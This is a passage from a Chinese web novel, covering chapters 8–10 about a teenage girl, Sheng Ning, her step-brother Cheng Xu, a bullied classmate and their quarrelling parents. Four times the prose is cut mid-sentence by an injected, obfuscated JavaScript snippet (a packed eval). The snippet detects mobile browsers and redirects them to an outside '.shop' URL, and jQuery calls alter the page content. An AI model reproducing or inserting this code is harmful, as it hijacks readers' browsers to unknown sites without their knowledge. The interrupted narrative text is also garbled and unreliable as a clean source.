他往前一步,盛凝就后退一步,直到单薄的脊背贴上布满尘土的红砖墙,鼻腔里沾满了劣质烟粒,听到对方戏谑道:“没事,哥哥们请你吃点好的。” 趁着男人头凑过来的一刻,盛凝反手抽出书包一侧的金属水杯,毫不犹豫砸下去,快准狠一个不落,哪里像第一次打人的。 显然对方没有戒备,这一下子估计要晕好一会,他旁边的兄弟听到闷哼声时已经晚了,盛凝轻微一弯腰从挥过来的臂膀下逃走,三步并两步跑回了家,被堵的地方离家就几十米,两个混混只看一眼都知道盛凝住哪栋楼,她关上家门盯着猫眼,果然没过几分钟那俩不知死活的就追到了家门口,楼道声控灯亮起,她看见黄毛挑染额头有血,心里稍微后怕,没想到自己打人还挺有天赋。 “姐,你回来了?” 程煦没穿着家居服,反倒齐整,从鞋子到外套都在身上。 “你要出门?” 他摇摇头,“我看你没回来,想去小区门口迎你。” “不用了。”盛凝深呼吸一下,“门口有人。” “姐,你被人堵了?” 盛凝转头看他,想问他怎么知道,再一想,她刚刚蹭到墙时砖角把皮筋隔断了,长发散落在肩后,手里拿个带血的保温杯,傻子也能看出来怎么个事,她立刻撇清关系,“我没惹事,今天纯粹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481767|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒霉。” 程煦顿时对自己弱小的身躯有些怨恨,他那么小,连他姐都保护不了,如果是他年长六岁就好了,他来当哥就好了,他们永远隔着六年的时间,盛凝不会理解这时差为六年的痛苦,她忙着想,是拿刀出去比较吓人,还是拿棍子。 “你去厕所干嘛啊姐,马桶今天堵了!” 程煦来不及伤感,因为他的姐姐带着神圣的光环……和一把沾了秽物的拖把,打开了门。 脏拖把直冲对方二人面门,本来调笑轻佻的面容在看清眼前的东西时慢慢变成了惊恐,所谓长矛沾屎戳谁谁死,盛凝可没给他们逃跑的时间,最后两个人,是沾满了黄褐色不明物体跑走的,嘴里不干不净地骂:“这女的有病吧?”。 程煦几乎要跪下,他的姐姐,至高无上的女王大人,他想他永远不会背叛盛凝,因为后果很严重,大概好多天都洗不掉味道。 第二天上学,程煦拉着盛凝的手,听见楼上的奶奶骂:“谁家在楼道里泼粪了?作死的!” 他感觉盛凝牵他的力道紧了些。 屋漏偏逢连夜雨,盛凝第二次跟黄毛们打交道是她自找的。 完美的一个晴天,她没有被留堂,也接到了程煦,理应按时回家以痛苦地完成作业来结束这完美的一天,怪就怪她听觉太敏感吧,本该路过的一条巷子泄出点呻吟声,无力的,痛苦的,向死而生般的连点生气都没有。 盛凝和程煦一起望了过去,那不是打架,完全是一场围殴,压在最底下的人甚至没有反抗,只在疼得受不住时从紧咬的牙缝里露出点声音。 她不该管的,她知道,程煦也知道,默默拉上盛凝的手。 盛凝也会埋怨自己,就像看到小说感人的地方会落泪,于是看到这样不公平的场景也会忍不住站出来,试问她算个什么东西,一个瘦弱又矮小的少女,在人群里就像下饺子找都找不出来,也敢单挑将近一米八的几个肥仔? “看你妈呢?赶紧滚!” 很显然肥仔们也注意到她,一句脏话给她不自量力的怒火点着了,她甩开程煦的手,走过去朝人群里看起来最弱的一个男孩给了一脚,她踢人下身很有一套,小时候在老家如果堂弟为首的那群男孩惹急了她,就会用这招,练得炉火纯青。 那个弱鸡倒在地上捂着裆惨叫,盛凝在剩下几个人冲上来之前猛地后退两步,两条胳膊挡在脑袋前,伸出五指作防御状,低着头大喊一句,“我已经报警了!” 这个寸劲,巷口真有警笛声传来,听起来是辆很老的警车了,电流声断断续续的。开这种老警车的几乎都是中年人,会自然地像你爹一样把你拎会少管所,比年轻警察难缠很多。 人群四散,几秒钟后只剩下浑身是血的受害者,盛凝,巷口的程煦还有警笛声。 盛凝回头看程煦,冲他打个响指,这是无需话语的夸奖。 程煦收到这个响指后,默默捡起了自己放在不远处的玩具警车,鼓起嘴吹掉车轮上的土,把车底的开关拨到“off”,聒噪杂乱的警笛声也消失在巷口。 8. 神明 “能起来吗?” 盛凝试探性问道。 她把手指放在鼻下试探,感受到微弱的气流盛凝才松了口气,等这人缓一缓,开始平稳呼吸后翻开眼皮,盛凝蹲下,慷慨地伸了一只手给他,问能不能起来。 男生显然有些吃力,大概是觉得在陌生人面前实在有点不好意思,最后还是自己撑着地面坐了起来,盛凝这才有功夫仔细看一下他的伤。 虽然那群家伙打人拳拳到肉,但好歹没伤到骨头,他的鼻梁骨□□地立在面中。 盛凝问:“胳膊腿什么都都能动吧?” 几乎被打得耳鸣,以至于看起来也呆呆笨笨的,良久的反应时间后,他才猛猛冲她点头。 行,伤筋动骨一百天,没伤到骨头就好说。 她又问:“哪个班的?” 他俩穿着一样的校服,初中部三个年级所以校服领子也三个颜色,初一蓝的初二黑的初三红的,刚刚打人的几个也是实验中学的学生,不过是红色校服衣领,一群臭不要脸欺软怕硬的东西,就知道欺负初一的。 “三班。” 嚯,一个班的,只是这脸上青一块紫一块的,右眼还肿起来了,就算盛凝真有印象也认不出来了,更何况她不爱当交际花,开学一个多月班里人压根记不住。 她没想多打听这同学为什么被欺负,程煦走到她身边,站着低头看她,影子这种她的大半部分,那是无声的催促。 可对方破了洞的裤子,有些掉胶的鞋底,还有书包都是拿旧帆布包改的,都在叫嚣着盛凝的怜悯心。 那群初三的也太恶劣了,欺负这样一个清苦的学生。 “你惹他们了?”盛凝手肘放在膝盖上,掌根杵着脸颊,挤出一团瓷白的软肉在手心,眼皮都懒得抬。 程煦知道其实多么漫不经心的表情姿势都是盛凝的自我保护机制,他姐那恶心的心软病又要犯了。 她以为自己是观世音吗?还是耶稣?都不是,这个装作侠客般好事不留名的女孩,只是他平凡普通的姐姐而已,而在沾上“姐姐”这个词后,盛凝之于程煦,是带着一个只有程煦能看到的光环的,她不会再将别人拥进怀中,不会教别人说话,不会牵着别人的手上下学,她所做的这一切都指向同一个对象——程煦。 所以程煦不会希望他姐这泛滥的“骑士病”加之在别人身上,因为他们都不是好人,都不是值得托付的人,但程煦是这样的人,所以盛凝选择程煦是正确的,也只能选择程煦才对,他不会辜负他的姐姐。 肿着眼睛的男孩先是叹了一口气,有一股“说来话长”的无奈感,唇瓣龃龉间飞速组织好语言,长话短说。 词句有些颠三倒四,程煦听了个大概,就是说他家只有他和奶奶祖孙二人,为了给奶奶赚点买药钱帮初三的跑跑腿,结果这回他们让他买一整条软中华。 以前都是一小包一小包买的,塞在口袋里或者书包里又没人看出来,可他这一条烟实在明显,破书包拉链坏了一半,进校门毫不意外被年级主任抓住,不仅没收了烟还被罚检讨等着周一升旗仪式在主席台念呢,这边跟初三的又交代不了,反正要钱没有要命一条,所以被打也不还手。 “哎……你,额,哎……” 盛凝听完五味杂陈,挠挠头。 说他聪明吧,买烟都能被抓住,说他笨吧,穿着校服能在超市买到一整条烟也有点本事。 对此他嘿嘿一笑,“我邻居哥哥在超市打工。” …… 程煦蹲在盛凝身边,一只手挡在前面跟她咬耳朵,“我觉得他脑子不太好。” 盛凝紧抿嘴唇,当人面说坏话实在不礼貌,但是她也有这个怀疑,于是只能回答程煦以沉默。 “这是他们的老套路了,周三校门口查得很严,你是新生可能不太知道。你要是被抓住没收了烟,他们大可以翻窗户去主任办公室偷回来,然后逼你还钱,白赚几百,要是没被抓住也不亏,反正是不会赔本的买卖。” 盛凝解释得头头是道,好像自己真干过一样,察觉到周围两双眼睛都诡异地盯着让自己,后知后觉补充道:“我同桌告诉我的,她哥是初三学生会长才知道这些。” 男生泄了口气,“他们把跑腿费加到五十,都怪我贪小便宜…” 就为了五十,盛凝这两天从程煦那捞的油水都不止五十。 而且她还没来得及花。 今日割五城明日割十城,五十块救不了人也耽误不死人,盛凝今天给了以后就忍不住想给,她只是个穷学生还得靠敲诈弟弟赚零花,比起这些,如果能让他不再受欺负,算不算也是一件好事? “你叫什么?” “陈勇。” —— “姐。” “姐姐。” “姐姐!” “盛凝!!” 对方终于理他,“你不想活了是不是?” 程煦显得很着急又很委屈,紧紧攥着盛凝宽松的校服一角,“你管他干嘛?凭什么和他一起上下学?” 他在巷子里刚刚沾沾自喜过,盛凝做的那些都迈向他一个人,现在就被啪啪打脸了,盛凝颇为怜悯慈悲相,对陈勇说:“要是怕再被打,以后咱俩一起去班里。” 职高消息更广,他们学校叫得上名字的“扛把子”被一个小姑娘戳了满身屎,怎么也得瞧瞧这是何方神圣啊。 所以实验学校也有人听说了盛凝,再加上迈入青春期,她显现出少女初形态,黑褐色的自来卷,灰绿琥珀眼睛,殷红唇瓣,不说长得多么天仙倾城,至少是客观意义上漂亮的,而且很特别,像迪士尼里面的小叮当,看一眼就能记住。 只是除了她自己和程煦以外没人知道两个人不够乌黑亮丽的头发是因为小时候天天吃方便面和盒饭导致的。 至此,盛凝顶着“大便女侠”的称号就没人敢招惹了,听说黄毛挑染去澡堂搓了三天澡,实在折磨。 那天天跟盛凝混在一起的人,大概率也不会被揍得这么惨了。 程煦觉得他姐是在演自己独角的偶像剧,盛凝脚步都飘忽忽的,是不是觉得自己脖子上都系着红色披肩了? 他在乎的是他和盛凝的二人世界被莫名其妙捣毁了! 本来初中部和小学部就是分开的,只靠一个食堂连着,回家盛凝更是以写作业为由屏蔽外界,他唯一珍惜的这么点两个人一起走路上学回家的时光现在竟然也没有了! 没!有!了! 他把死沉死沉的书包重重甩到床上,陷进去一个坑,然后掏出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481768|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个陈旧的警车丢在墙角,毫不意外摔得粉碎。 恩将仇报,早知道不救陈勇了。 盛凝剜他一眼,脱了外套说:“做好事是积功德的。” “积功德有什么用?” “下辈子投个好胎,不用带着个弟弟。” “……” 随着年龄的长大,莫名其妙的男子汉意识占据程煦的大脑,因此他很久没哭过了,忘记鼻尖的酸楚是一场痛苦的前兆,心里只想着,盛凝她是什么意思,她说我是个拖油瓶吗? 明明程煦将她奉为神明,然后神明并不怜悯她的信徒,这样的信仰还作数吗? 视线模糊,眼泪不要钱似的融进校服上,床单上,但融不进姐姐的心里。 盛凝的心脏应该是石头做的,铁盾做的,哭泣已经不够管用了,换不来她轻哄的“小煦小煦”。 眼泪不管用,他就把心里的疼痛化成身体上的。 盛凝甚至都没反应过来自己经历了什么,她就看见本该躺在床上的程煦忽然变成了一个极具攻击力的流星锤,以肉眼不可见的速度冲了过来,紧接着是一阵刺痛,她纤细的小臂上不仅有青紫色的血管,还多了一个深深的牙印。 “呵。”盛凝冷笑一声,程煦根本不讲武德,竟然毫不发出征战信号就偷袭她,看来是真的想死了。 她用尽全力才遏制住拿水笔刺穿这死小子的喉咙的邪念,而是把铁质笔盒甩了过去,没留余力。 很可惜,没砸中,倒是惹得程煦继续攻击。 他看起来很凄惨,完全是一边哭一边不要命的扑上来打,盛凝对于一个半大小子没了以前绝对的压制力,但也能险胜,混乱地胡打一通,反应过来时,盛凝骑在程煦身上,细细的手指牵住两只手腕,她低头看他,两个人看起来都红透了,一个是哭的一个是吼的。 “程煦你疯了是不是!” “我哪里惹到你了?” 程煦哭得开始抽搐,说话也一抽一抽的,说什么“讨厌你”“不要我”之类的。 盛凝很烦他哭,况且他很久没哭了,今天不知道怎么踩到尾巴了又开始哭个没完,哭得盛凝心烦气躁。 她不是他妈,身体不会分泌激素来增添几分母爱,没打死程煦全凭那点可怜的良心。 盛凝震得耳膜疼,放开他起身坐在床边,捂着胸口。 刚才程煦拳头乱挥,有一拳打在盛凝胸前,发育初期脆弱的身体部位叫嚣着疼痛,盛凝有要痛死过去的错觉。 程煦很显然也察觉的这点变化,那触感从没有过。盛凝从小瘦得跟杆一样,摸哪里都是硬硬的,可刚才的触觉,那么软,像一颗软乎乎的小猫脑袋碰在手背上,你只会想轻轻用指骨蹭蹭,而非痛打上去。 他意识到自己做错了,想到盛凝奇怪的变化。 她变清脆的嗓音,隆起的部位,甜腻的血腥味,都在变化,都和之前他认识的盛凝不一样。 这是恐怖的信号,他姐是不是像怪物一样在蜕皮,在变异,变成他不认识的人,然后狠狠将他丢掉,电视剧里美丽又邪恶的坏女人那样会穿着高跟鞋踩在他肋骨上,骂他是个拖油瓶。 程煦忘了呼吸,弥留之际般躺在床上,用最后的气音问道:“你是不是不想要我了?” 9. 长大 “神经病!我要是说不要就不要倒好了!” 盛凝记仇,还念着胸口这一下,甩他个眼刀。 “你要是嫌我和别人走,那你以后自己回家。” 程煦没再哭,只是止不住啜泣,断断续续地说:“我不能自己回家…” “你没腿啊,还得我背你回去?” “姐。” “干嘛!” “我没有家门钥匙。” 盛凝张开的嘴突然滞住,下巴机械般活动两下,眼珠转动两下,最后落在身旁的程煦身上,她看见六岁时候瘦小的盛凝和躺在床上满脸泪渍的程煦重合,只不过六岁的盛凝连个能打一架的人都找不着。 从心里油然而生的恐惧带来一股恶寒,她害怕自己成为和盛明康一样的人,忘却程煦的孤独和痛苦,忘记给他家门钥匙,切断他和外界交流的路,他们的世界可就只剩彼此了,她当然不能这样。 盛凝背弯下来,长长呼出一口气,“明天放学带你去配一把。” 盛凝定时给合页上油,再没了生涩的扭转声,防盗门如果被甩上,发出的巨响会显得没有预告,十分突兀,随着房门一起响的是雷雨声。 秋末的雨是可以冻死人的,作为冬天来临的征兆,连城每年都有这样一场雨,第二天断崖式降温,就再也热不起来了。 盛凝捕捉到这一下摔门声,就知道盛明康和程蔓君又要吵架了。 两人的婚姻只维持了一年多甜美的假象,就像程蔓君带给盛凝的荔枝,夫妻俩吵架越来越多,盛凝从程蔓君那里得到的荔枝也越来越少,直到现在,她很久没再吃过那白软的水果了。 所以是白月光成了米饭粒,还是朱砂痣成了蚊子血? 盛凝不是盛明康肚子里的蛔虫,她甚至不太和盛明康交流,自然摸不懂程蔓君在他心里几斤几两。他吵架时会说程蔓君就是个勾引人的骚/货,说她拈花惹草,说她是任人穿的破鞋。 盛凝竟不知道她爹能骂出这么多污言秽语来。 两个奇葩在这段感情里充其量各打五十大板,盛明康可以忘不了初恋情人娶了个和人家长得一样的女人还生个孩子,就不许程蔓君忍受着木头一样的丈夫偶尔放松和别的男人调情吗? 一开始还是躲在屋里小声地吵,可能是忌讳程煦太小,很快就不管不顾放飞自我了,躲在屋子里的成了盛凝和程煦。 他俩也跟着爸妈变化,程煦小时候会因为父母吵架哭,盛凝也闷闷不乐的,两只相互取暖的小兽躲在墙角默默掉泪,现在更多的是麻木,对视一眼诉尽“又来了”的无奈。 两人兴许是吵急了,传来清脆的巴掌声,盛明康很少打人,小时候程蔓君挨过一巴掌后在没动过手,今天这是怎么了。 盛凝打开门就闻到一股若有似无的酒气,原来酒鬼发疯呢,程煦见不得他妈被打,跑过去挡在程蔓君前面。 程煦不出现还好,一看见这张像别的男人的脸,盛明康更是一肚子火了,“你这个——” “爸!” 盛凝在一旁阴影里,打断盛明康的话,她怕她爸一生气,说出什么“杂种”之类的话,瞒了这么多年,再解释起来就麻烦了,多一事不如少一事。 盛明康鼻子里哼出酒气,把手里的包甩出去,准头不错,打在茶几花花瓶上,花瓶紧接着就飞出去,坐在地上的程煦反应最快,往旁边扑过去,摔在盛凝脚边,把本该溅在盛凝脚踝的花瓶碎片全被程煦的身体挡住了。 凄凄艾艾的程蔓君看见程煦受伤才显露出几分母爱来,又有胆子红着眼睛对峙盛明康,“你打我就算了,还拿孩子们出气!” 她加了一个“们”字,自然而然把盛凝和程煦归结在一起,不要分“你的孩子”还是“我的孩子”,他们是一起长大的,是盛明康的程蔓君的两个孩子。 盛凝产生了一种奇怪的错觉,她竟然感受到母爱。 盛凝对于父母的一切情绪,首先是那年出走的母亲,她当然恨她妈,怎么能就这样丢下她离开,血缘难道不会让她们相爱吗?不会让妈妈留下一丝念想吗?原来这层血管是这样脆弱不堪。 可样定义血缘,又显得武断,因为盛明康也是因为血缘才没有抛下她的,甚至大发慈悲将她接到身边来养,当然,没有说接到身边就尽心尽力养的意思。 程蔓君之于盛凝,没有血缘就没有无缘无故的爱,盛凝没办法心安理得地去恨她,自然也没能心安理得的去爱她。 几颗荔枝收买不了人心的,尽管程蔓君的笑容和荔枝一样甜腻。 所以盛凝觉得诡异,她不该在程蔓君那里感受到母爱。 程蔓君在六七年的生活中没做成别人口中的贤妻良母,她有自己的工作,自己的生活,这个家只是她和盛明康和两个小孩短暂的交点,第二天闹钟一响,一个去单位一个去工地两个去上学,她只会在心情不错时哄上程煦两句,给的零花钱也是为了掩盖残存的愧疚感,他们不像一家四口,像不认识的合租舍友搭伙过日子。 盛凝想,就算最后盛明康和程蔓君都丢下他们,她应该也不会沮丧,那是不值得的。 相比盛凝缺失的父爱母爱,程煦倒是对这种生活没有怨言,因为他有姐姐,他还太小,不能设身处地在盛凝的角度去体会那种没有人能遮风挡雨的无助和恐惧,他就想,有姐姐就好了,什么再难熬的也好过了。 所以你看,痛苦是有时差的,等程煦到了13岁想到这样的场景时,他学会心疼盛凝的孤单和无措,心疼她无处寄托的渴望依恋,但彼时19岁的盛凝,又要以一个成年人的角度拼命走出一条能养活自己和程煦的路了。 终于程煦长到19岁后,少年以为单薄的爱可以支撑两个人牵手一辈子时,几经人事已经25岁盛凝却不得不担心他未卜的前途,自己的一地鸡毛,从姐弟转换成恋人这一路的辛苦和挣扎。 不知道从什么时候起,程煦的执念变成了长大,拼命地长大吧,变得有钱,有权,稳重,成熟,变得能保护姐姐,和姐姐走到同一起跑线上,不要放任盛凝再一次拥有他无法理解的更深层次的悲哀,他可以不再担心那六年的断档切开他们两人的情感,爱和责任,本就是一体的,所以他爱盛凝,盛凝也爱他。 他们会为彼此活下去。 抹不开面子,在孩子面前打女人完全颠覆了盛明康想象里威严稳重的父亲形象,不过他没考虑过自己这个人设在盛凝程煦心里其实压根立起来。 他坐在沙发上开始看电视抽烟,剩下三个逃难一样躲在父母的房间里,窗外雨打玻璃,程煦从冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481769|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱掏出之前冻着的冰块,他本来想喝可乐时候用的,结果现在全都包在毛巾里给他妈冷敷了。 “小煦,小煦妈妈真没白疼你。” 程蔓君眼里的柔情要把程煦淹死了,让平时不被这个漂亮女人重视的小男孩飘乎乎的,像棉花娃娃一样任由程蔓君紧紧搂在怀里。 旁边目睹这母子情深的盛凝差点翻个白眼,程蔓君注意到她,话锋一转:“凝凝也是好孩子,没让那个发酒疯的接着骂,还好我还有你们。” 程蔓君一抬胳膊,把盛凝也揽进怀里。 她一瞬间大脑空白,雨声哭声骂声都不记得了,就在想,程蔓君用的什么香水,真好闻,玫瑰味的。 现在飘乎乎的变成两个崽子了。 他们俩就这样溺在漂亮女人的温柔乡里对视,谁不喜欢漂亮女人啊,更何况还是他们妈。 那晚雨下得又久又密,直到半夜还没停下。盛明康没回屋里,在沙发上看着电影睡着了,盛凝把电视关上,回了她和程煦的卧室。 “姐,你睡着了吗?” “姐。” “姐。” 盛凝望着天花板,缓缓开口:“你这么个叫法,睡着也被你叫醒了。” 睡前盛凝给程煦身上被花瓶碎片划出来的一片细细麻麻的小口子涂药,对于程煦这种舍己为人知恩图报的做法,她还是很欣慰的,第一次从程煦身上得到回报,连语气都放软了,只带着故作深沉的无奈。 “姐我想和你睡。” 程煦很懂得什么叫得寸进尺,即使他现在的学历还不足以学到这个成语。 盛凝应该拒绝他,她嫌弃他身上那股不知道从哪来的小狗味,默认男孩都带着不好闻的味道,可是窗外的雷声太重了,一下一下响在心门上,响得她心慌。 她不愿承认自己害怕打雷的羞耻事实,转而冷笑一声。“怎么,你害怕打雷?” 程煦很给面子,连忙点头,“我害怕,姐姐求你和我一起睡吧。” 盛凝大发慈悲,轻轻往墙边挪了挪身子。 只等盛凝一声令下—— “来吧。” 程煦立刻从自己的床上全力一跨,蹦到盛凝的床上,钻进她的被子。 “你好烦啊,拿自己的被子去。” 程煦抱着盛凝的胳膊耍赖,“不要不要,咱倆盖一张被子暖和。” 他浑身都热热的,伸出手包住盛凝冰凉的拳头,在一个注定降温的凉薄夜晚里,太阳一样的程煦成了盛凝唯一的温度。 程煦朝着盛凝侧躺,肆无忌惮地看她的侧脸。 姐姐不是完全锋利的漂亮,她的眼睛确实极有攻击力,眼角和眼尾都是尖的,左眼角还点缀着一颗小痣,可鼻头,嘴角,下巴,都是圆钝的,让这张脸多了无辜甜美的特点。 他的眼睛离不开盛凝了,鬼使神差问道:“姐,我们会一直在一起吗?” 盛凝想,怎么可能呢,现在的一切都只是还没有足够能力的他们,结伴走过的一小段路而已,没有规定人一辈子必须和谁绑在一起,迟早有一天,她会离开这个家,离开这个城市,她一定会有自己的生活。 像骗小孩子这个世界存在圣诞老人一样,盛凝笑了。 她回答道: “会。” 10. 怪物 程煦:“那我们拉钩。” 他在半空中伸出小拇指,盛凝睁开眼睛看着眼前的手,犹豫很久,还是叹了口气用自己的小指勾住他。 真是笨蛋啊,以为拉钩就真的一百年都不变了? 誓言是这个世界上,最虚无缥缈最轻浮最不可靠的东西,否则那些离婚的人都要为自己在婚礼上说过的誓词付出代价。 盛凝叹了口气,歪头看一眼天真的程煦,他整天出去打球疯跑,晒得有些黑了,但依旧大眼汪汪,发育得很好看,“程煦,快快长大吧。” 快快长大,长到可以自己生活,不要再依赖我了,好累好累。 盛凝脑子里蹦出这个想法,没发觉自己把自己都给骗过去了。在几分钟前她还觉得程煦是能够抓住的唯一温度,现在她又渴望快点拜托这片温度,就像她下意识把程蔓君和程煦分化成两个阵营,觉得程煦是自己这边的。 这很奇怪,明明程蔓君和程煦才是流着同样血缘的母子,她认为DNA隔断了她和程蔓君的情感进展,那程煦呢? 她对程煦有爱和恨吗? 盛凝扪心自问,是爱着程煦的,六年可以改变很多东西,牙牙学语的婴儿变成调皮捣蛋混小子,懵懂的小姑娘变得满身荆棘,他们在一起六年,总会产生些感情,可惜程煦不是个天生坏种,没能让盛凝恨上他,那多余出来的感情,就剩下爱了。 原来不依靠基因,也可以爱上这样一个弟弟。 与之截然相反的,此时程煦正在为他和盛凝不存在的血缘沾沾自喜,他以为是脉搏让他们相爱相惜,殊不知他最引以为傲的纽带实则岌岌可危,靠脆弱的情感支撑。 盛明康和程蔓君的婚姻同样单薄,青梅竹马都有可能走到相看两厌,他们都已经为人父母了,竟然还妄想靠十几年前的那点残存的遗憾和不甘狠狠相爱一场。 怪物。 两个大怪物养出的也会是小怪物。 盛凝和程煦没在正常的家庭长大,片面的健康关系印象来自对门冯叔叔一家,那太轻微了,畸形的情感仍然不可阻挡地萌发,泛滥,迫不及待地督促程煦问出“我们能不能一辈子在一起”,他太想抓住盛凝这颗救命稻草了。 盛凝最大的遗憾就是没能及时发现程煦从小滋长的亲情观和爱情观,以致多年后让他走到不可挽回的偏执地步,她自虐地想,或许这一切因她而起,她理应负责。 程煦拉着她的小指补充道:“印章印章。” 大拇指指心相触及的瞬间,盛凝只觉得程煦的手很烫,烫到不像是把这个誓言印在拇指上,而是要顺着手腕的无数毛细血管印到她的心脏上。 窗外雷声轰动,盛凝以为这注定是个寒冷不眠的夜晚,但很幸运,她搂着暖乎乎的程煦,睡得很深很熟。 乃至第二天上学是程煦叫醒的盛凝,盛明康和程蔓君早上班去了,姐弟俩只能口袋揣着零钱去校门口吃包子豆浆。 程煦接过包子要递钱的时候被一只手拦住,他抬头看了几眼旁边的男生。 不认识。 “我来付我来付。”他抢着要付钱,盛凝看见“啧”了一声。 她拧着秀气的眉眼嗔怪:“陈勇你干嘛?再这样你还是别跟我们走了。” 哟呵! 程煦瞪起两只牛眼瞧他,原来是那个被打成包子的小子要请他们吃包子! 他一抬手挤过陈勇把钱递给了摊主。 我和我姐吃饭,用得着你给钱吗,刷什么存在感呢! 陈勇没感觉出来程煦的小脾气,做错事一样挪到盛凝身边,“哎,我不是过意不去吗。” 盛凝没瞟他,只接过程煦分给自己的包子啃了一口,咸津津的肉质浸满口腔,烫得她龇牙咧嘴。 在嘴里滚了好几遍才艰难下咽。 “没,没必要,就是搭个伴而已,又不能少两块肉。”她感觉嘴里烫起个泡,又不好意思大庭广众之下伸出舌尖小狗一样散热。 陈勇消了肿后才露出庐山真面目,五官挺端正的,盛凝从小就有点信面相,有的人五官分明眉眼如画她就多几分好感,有的人长得艳丽旖旎或许狡诈聪明,比如程煦,比如程蔓君。 陈勇五官柔和,眉眼和嘴角笑起来都弯弯的,身高也好体型也好,在男生堆里都算适中,怎么也挑不出错的外形,盛凝喜欢跟没有棱角的人相处,不是没脾气到懦弱,只是两个人说话干事能有商有量,意见不同意就一起解决而不是谁也不让步最后发展成一次争吵,天天吵架是热闹,她家里热闹得有些过头,就显得聒噪。 盛凝没注意到此时的程煦已经化身小疯狗,恶狠狠地盯着陈勇,像是要用眼神烧出一条界线来,把陈勇和他们隔开。 对方没领会程煦的意思,竟敢直接跨过这条界线,一个塑料袋递到程煦眼前。 一到人情世故的事,陈勇说话就扭扭捏捏的,“我哥打工的超市老清理时间久点的零食,他就给我,我一个人吃不了这么多,就是……就是可能生产日期不太好……” 盛凝垂眸看那袋子丰盛的零食,薯片巧克力饼干什么都有,她家秉持无零食主义,有闲钱都用来买方便面了,不靠谱的爸妈让盛凝必须囤好足够她和程煦的速食才能安心哪天不会被饿死,就这样还每天跑去对门蹭饭呢,人家冯叔叔怕姐弟俩被盛明康骂“没脸没皮”,每回都说“哎呀我卤牛肉做多了”,“嘿今个儿五花便宜多买了几斤”,哪有这么多不小心,冯叔这么会做饭还能弄错份量? 尽管看着冯心巧粉嫩嫩的公主房里数不清的玩偶零食童话书,小姑娘眨着大眼睛说:“姐姐程煦想要什么都可以拿走!” 还能真脸皮厚到占人家这么多便宜? 程煦看着吃的眼睛都直了,咽着口水拒绝:“我不爱吃零食。” 底线还是面包,这是个值得思考的问题,程煦正在百般纠结这个人生难题,盛凝却先把手伸进了塑料袋,掏出一根荔枝味的真知棒,她撕包装的动作很利落,白色微微透明的球形糖果丢进嘴里,黄色的塑料棒歪在一侧。 棒棒糖撑起她紧实的一小片脸颊皮肤,然后把包装纸丢给程煦,笑着跟陈勇说:“那你问问我弟爱不爱吃零食吧!” 盛凝朝程煦眨了下眼,她说话的热气在冷风中化成白雾迅速消散,冬天的太阳总是讨人喜欢的,扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481770|201785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片柏油路,扫过盛凝的头顶,让她整个人都带着一层金光,程煦甚至在自己空荡荡的口中也尝出了些甜滋滋的荔枝味,那是盛凝的味道。 冬天对于不够富裕的小孩们是很难熬的,他们会发现即使穿上好几层厚厚的衣服外套也不够抵御冷风,而班里条件好的同学只用穿一件薄薄的昂贵纯色羽绒服就能超过自己身上的一坨冬衣。 程煦的外套也是盛凝前两年剩下的,盛凝身上的新衣服也说不上好,反正冻不死人,她偷偷看过程蔓君周末和同事去商场扫荡回来的衣服,给盛凝和程煦的棉服199,给她自己买的大衣要在这个数字后面再加一个9。 但她不会埋怨程蔓君,因为盛明康根本没给他们买过衣服。 棉服,针织衫,短袖再到针织衫,一年四季的衣服就这么多,穿了两个循环,盛凝初三时再套上那件199的棉服,看着自己露出的细白手腕,在看见程煦只到小腿肚的秋裤,卫衣都快成露脐装了。 “程阿姨,衣服真的太小了!” 她愁眉苦脸地抱怨。 两年过去,盛凝和程煦的个子都在疯长,尤其是程煦,都说男孩发育晚,他怎么三年级就开始蹿个儿,卧室里小小的单人床都快招不开这尊大佛了,每天曲着腿睡觉。 盛凝步入青春期也十分难受,尤其是体育课跑步时胸前颠得慌,完全没了之前的轻盈感,一个月还要饱受一次痛经的折磨,实在痛苦。 